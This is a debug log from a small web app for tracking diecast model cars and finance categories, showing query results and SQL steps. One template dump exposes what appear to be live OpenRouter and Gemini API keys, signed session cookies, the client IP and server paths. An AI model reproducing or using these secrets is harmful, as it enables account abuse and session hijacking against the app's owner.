      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 124,
      model_name: 'Porsche 935 K3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 123,
      model_name: 'Porsche 911 Carerra RS 2.7',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 122,
      model_name: 'Porsche 911 GT3 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 121,
      model_name: 'Porsche 911 Carerra S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 120,
      model_name: 'Chevrolet Camaro',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 119,
      model_name: 'Renault Megane R.S.',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 118,
      model_name: 'Ford GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 117,
      model_name: 'Audi R8 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 116,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 115,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-06T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 114,
      model_name: 'Lamborghini Hurucan Avio',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 113,
      model_name: 'Alfa Romeo 4C Spider',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 112,
      model_name: 'Lamborghini CoutachLP400',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 111,
      model_name: 'Alfa Romeo Giulia ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 110,
      model_name: 'Volvo FMX low bed truck Trailor',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-16T18:30:00.000Z',
      price: '750.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volvo',
      vehicle_brand_id: 123,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-03T12:56:20.865Z server-connect:router Serving templateView /collections
2026-02-03T12:56:20.865Z server-connect:app Executing action step identify
2026-02-03T12:56:20.865Z server-connect:app options: { provider: 'security' }
2026-02-03T12:56:20.865Z server-connect:output identity: 1
2026-02-03T12:56:20.865Z server-connect:app Executing action step restrict
2026-02-03T12:56:20.865Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-03T12:56:20.866Z server-connect:output restrict: undefined
2026-02-03T12:56:20.866Z server-connect:router Render template masters/collections
2026-02-03T12:56:20.866Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/collections',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"2850-vYhtWmaLPPra5IeVa3++XLjoeng"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/collections',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/collections',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/collections',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"2850-vYhtWmaLPPra5IeVa3++XLjoeng"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-02-03T12:56:21.110Z server-connect:router Serving serverConnect /api/masters/collections/collection-category
2026-02-03T12:56:21.110Z server-connect:router Serving serverConnect /api/masters/collections/get-collections
2026-02-03T12:56:21.110Z server-connect:app Executing action step identify
2026-02-03T12:56:21.110Z server-connect:app options: { provider: 'security' }
2026-02-03T12:56:21.111Z server-connect:output identity: 1
2026-02-03T12:56:21.111Z server-connect:app Executing action step restrict
2026-02-03T12:56:21.111Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T12:56:21.111Z server-connect:app Executing action step identify
2026-02-03T12:56:21.111Z server-connect:app options: { provider: 'security' }
2026-02-03T12:56:21.111Z server-connect:output identity: 1
2026-02-03T12:56:21.111Z server-connect:app Executing action step restrict
2026-02-03T12:56:21.111Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T12:56:21.115Z server-connect:output restrict: undefined
2026-02-03T12:56:21.115Z server-connect:app Executing action step select
2026-02-03T12:56:21.115Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'collection_type' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `name` from `collection_type` where `collection_type`.`deleted` = ?'
  }
}
2026-02-03T12:56:21.116Z server-connect:output restrict: undefined
2026-02-03T12:56:21.116Z server-connect:app Executing action step paged
2026-02-03T12:56:21.116Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `collections`.`name`, `collections`.`id`, `collections`.`collectiontype_id`, `collection_type`.`name` as `collection_type` from `collections` inner join `collection_type` on `collection_type`.`id` = `collections`.`collectiontype_id` where (`collections`.`name` like ? or `collection_type`.`name` like ?) and (`collections`.`collectiontype_id` = ?)',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-03T12:56:21.118Z server-connect:output list: [
  { id: 1, name: 'Unit' },
  { id: 2, name: 'Transaction Type' },
  { id: 3, name: 'Account Type' },
  { id: 4, name: 'Loan Mode' },
  { id: 5, name: 'Account Transactions' },
  { id: 6, name: 'Trading Platform' },
  { id: 7, name: 'Loan Type' },
  { id: 8, name: 'Supplement Brand' },
  { id: 9, name: 'Diecast Brand' },
  { id: 10, name: 'Diecast Series' },
  { id: 11, name: 'Vehicle Brand' }
]
2026-02-03T12:56:21.119Z server-connect:output records: {
  offset: 0,
  limit: 25,
  total: 178,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 175 },
    current: 1,
    total: 8
  },
  data: [
    {
      name: 'Account Deposit',
      id: 19,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Salary Credit',
      id: 20,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'ATM Withdrawal',
      id: 21,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Account Transfer',
      id: 22,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Credit Card Payment',
      id: 25,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Card Swipe',
      id: 26,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Direct Payment',
      id: 38,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Auto Debit',
      id: 39,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Savings',
      id: 14,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Current',
      id: 15,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Petty Cash',
      id: 18,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Credit Card',
      id: 24,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Demat',
      id: 43,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Hotwheels',
      id: 71,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Majorette',
      id: 72,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Matchbox',
      id: 73,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Bburago',
      id: 74,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Maisto',
      id: 143,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'CCA',
      id: 158,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Mainline',
      id: 75,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Premium',
      id: 76,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Treasure Hunt',
      id: 77,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Super Treasure Hunt',
      id: 78,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Car Culture',
      id: 79,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Red Line Club',
      id: 80,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    }
  ]
}
2026-02-03T12:56:23.520Z server-connect:router Serving serverConnect /api/masters/collections/get-collections
2026-02-03T12:56:23.520Z server-connect:app Executing action step identify
2026-02-03T12:56:23.520Z server-connect:app options: { provider: 'security' }
2026-02-03T12:56:23.520Z server-connect:output identity: 1
2026-02-03T12:56:23.521Z server-connect:app Executing action step restrict
2026-02-03T12:56:23.521Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T12:56:23.521Z server-connect:output restrict: undefined
2026-02-03T12:56:23.521Z server-connect:app Executing action step paged
2026-02-03T12:56:23.521Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `collections`.`name`, `collections`.`id`, `collections`.`collectiontype_id`, `collection_type`.`name` as `collection_type` from `collections` inner join `collection_type` on `collection_type`.`id` = `collections`.`collectiontype_id` where (`collections`.`name` like ? or `collection_type`.`name` like ?) and (`collections`.`collectiontype_id` = ?)',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-03T12:56:23.523Z server-connect:output records: {
  offset: 0,
  limit: 25,
  total: 44,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 25 },
    current: 1,
    total: 2
  },
  data: [
    {
      name: 'Ford',
      id: 108,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Renault',
      id: 109,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Citroën',
      id: 110,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Volkswagen',
      id: 111,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Honda',
      id: 112,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Mercedes-Benz',
      id: 113,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'McLaren',
      id: 114,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Lamborghini',
      id: 115,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Nissan',
      id: 116,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Land Rover',
      id: 117,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Chevrolet',
      id: 118,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Toyota',
      id: 119,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Mitsubishi',
      id: 120,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Peugeot',
      id: 121,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Jeep',
      id: 122,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Volvo',
      id: 123,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Ferrari',
      id: 124,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Bentley',
      id: 125,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'BMW',
      id: 126,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Dodge',
      id: 127,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Alfa Romeo',
      id: 128,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Bugatti',
      id: 129,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Porsche',
      id: 130,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Scania',
      id: 131,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Audi',
      id: 132,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    }
  ]
}
2026-02-03T13:01:32.270Z server-connect:router Serving serverConnect /api/masters/collections/get-collections
2026-02-03T13:01:32.270Z server-connect:app Executing action step identify
2026-02-03T13:01:32.270Z server-connect:app options: { provider: 'security' }
2026-02-03T13:01:32.270Z server-connect:output identity: 1
2026-02-03T13:01:32.270Z server-connect:app Executing action step restrict
2026-02-03T13:01:32.270Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T13:01:32.272Z server-connect:output restrict: undefined
2026-02-03T13:01:32.272Z server-connect:app Executing action step paged
2026-02-03T13:01:32.272Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `collections`.`name`, `collections`.`id`, `collections`.`collectiontype_id`, `collection_type`.`name` as `collection_type` from `collections` inner join `collection_type` on `collection_type`.`id` = `collections`.`collectiontype_id` where (`collections`.`name` like ? or `collection_type`.`name` like ?) and (`collections`.`collectiontype_id` = ?)',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-03T13:01:32.275Z server-connect:output records: {
  offset: 0,
  limit: 25,
  total: 44,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 25 },
    current: 1,
    total: 2
  },
  data: [
    {
      name: 'Ford',
      id: 108,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Renault',
      id: 109,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Citroën',
      id: 110,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Volkswagen',
      id: 111,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Honda',
      id: 112,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Mercedes-Benz',
      id: 113,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'McLaren',
      id: 114,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Lamborghini',
      id: 115,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Nissan',
      id: 116,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Land Rover',
      id: 117,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Chevrolet',
      id: 118,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Toyota',
      id: 119,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Mitsubishi',
      id: 120,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Peugeot',
      id: 121,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Jeep',
      id: 122,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Volvo',
      id: 123,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Ferrari',
      id: 124,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Bentley',
      id: 125,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'BMW',
      id: 126,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Dodge',
      id: 127,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Alfa Romeo',
      id: 128,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Bugatti',
      id: 129,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Porsche',
      id: 130,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Scania',
      id: 131,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Audi',
      id: 132,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    }
  ]
}
2026-02-03T13:01:46.577Z server-connect:router Serving serverConnect /api/masters/collections/manage
2026-02-03T13:01:46.578Z server-connect:app Executing action step identify
2026-02-03T13:01:46.578Z server-connect:app options: { provider: 'security' }
2026-02-03T13:01:46.578Z server-connect:output identity: 1
2026-02-03T13:01:46.578Z server-connect:app Executing action step restrict
2026-02-03T13:01:46.578Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T13:01:46.578Z server-connect:output restrict: undefined
2026-02-03T13:01:46.578Z server-connect:app Executing action step condition
2026-02-03T13:01:46.578Z server-connect:app options: {
  if: '{{$_POST.id}}',
  then: {
    steps: {
      name: 'update',
      module: 'dbupdater',
      action: 'update',
      options: [Object],
      meta: [Array]
    }
  },
  else: {
    steps: {
      name: 'insert',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2026-02-03T13:01:46.578Z server-connect:app Executing action step insert
2026-02-03T13:01:46.578Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'collections',
    returning: 'id',
    query: 'insert into `collections` (`collectiontype_id`, `name`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2026-02-03T13:01:46.579Z server-connect:output insert: { affected: 1, identity: 183 }
2026-02-03T13:01:46.579Z server-connect:output condition: undefined
2026-02-03T13:01:46.786Z server-connect:router Serving serverConnect /api/masters/collections/get-collections
2026-02-03T13:01:46.786Z server-connect:app Executing action step identify
2026-02-03T13:01:46.786Z server-connect:app options: { provider: 'security' }
2026-02-03T13:01:46.786Z server-connect:output identity: 1
2026-02-03T13:01:46.786Z server-connect:app Executing action step restrict
2026-02-03T13:01:46.786Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T13:01:46.787Z server-connect:output restrict: undefined
2026-02-03T13:01:46.787Z server-connect:app Executing action step paged
2026-02-03T13:01:46.787Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `collections`.`name`, `collections`.`id`, `collections`.`collectiontype_id`, `collection_type`.`name` as `collection_type` from `collections` inner join `collection_type` on `collection_type`.`id` = `collections`.`collectiontype_id` where (`collections`.`name` like ? or `collection_type`.`name` like ?) and (`collections`.`collectiontype_id` = ?)',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-03T13:01:46.789Z server-connect:output records: {
  offset: 0,
  limit: 25,
  total: 45,
  page: {
